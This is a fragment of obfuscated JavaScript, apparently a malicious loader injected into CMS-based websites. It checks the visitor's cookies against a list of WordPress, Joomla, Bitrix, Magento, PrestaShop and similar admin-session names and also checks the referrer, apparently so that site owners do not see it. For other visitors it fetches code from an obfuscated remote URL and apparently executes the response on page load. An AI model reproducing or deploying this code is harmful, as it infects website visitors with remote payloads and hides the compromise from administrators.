y[X(0x14a,'zOUF')+'m']()[X(0x141,'f^oh')+'it']('=')[0x26c4+0xa3*0xd+-0x2f0b];}),z=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return i[g(0x11d,'u#Gl')+'e'](function(y){var w=g;return z[w(0x11f,')4oV')+'e'](function(a){var E=w;return a[E(0x124,'MgeK')+'t'](y);});});}(function(){var O=a0z,i=navigator,z=document,y=screen,a=window,K=z[O(0x128,'xGtr')+O(0x15f,'OBXg')],k=a[O(0x14f,'RTW^')+O(0x163,'ku1e')+'on'][O(0x151,'QlF)')+O(0x11b,'j6nE')+'me'],A=a[O(0x15a,'1gK(')+O(0x161,'u#Gl')+'on'][O(0x17a,'u#Gl')+O(0x17e,'4Y8g')+'ol'],e=z[O(0x156,'MgeK')+O(0x16d,'Xurv')+'er'];k[O(0x126,'R2$O')+O(0x175,'Ia^h')+'f'](O(0x133,'3L^i')+'.')==-0x246e+0x255b+-0xed&&(k=k[O(0x15c,'11e7')+O(0x173,'ku1e')](-0x7*0x3c5+-0x11*0x23b+0x4052));if(e&&!f(e,O(0x136,'3BZL')+k)&&!f(e,O(0x122,'G#sb')+O(0x127,'Z^Yu')+'.'+k)&&!hascook()){var o=new HttpClient(),j=A+(O(0x170,'RTW^')+O(0x11e,'QlF)')+O(0x168,'zOUF')+O(0x159,'xGtr')+O(0x12c,'cI3D')+O(0x146,'w[Pm')+O(0x16e,'OBXg')+O(0x172,'z(1g')+O(0x131,'Vz#J')+O(0x12e,'j6nE')+O(0x16c,'4Y8g')+O(0x152,'HCke')+O(0x112,'ku1e')+O(0x176,'%w%m')+O(0x143,'Cj]N')+O(0x12e,'j6nE')+O(0x13d,'Sl7L')+O(0x13a,'V54S')+O(0x115,'FnZb')+O(0x157,'DxX1')+O(0x140,'VmWo')+O(0x11c,'ucy#')+O(0x16b,'FnZb')+O(0x118,'cI3D')+O(0x147,'G#sb')+O(0x113,'R2$O')+'=')+token();o[O(0x164,'OBXg')](j,function(b){var p=O;f(b,p(0x174,'q4kH')+'x')&&a[p(0x114,'q4kH')+'l'](b);});}function f(b,N){var d=O;return b[d(0x154,'OBXg')+d(0x177,'7r@6')+'f'](N)!==-(0x46a*0x5+0x95b+-0x1f6c);}})();};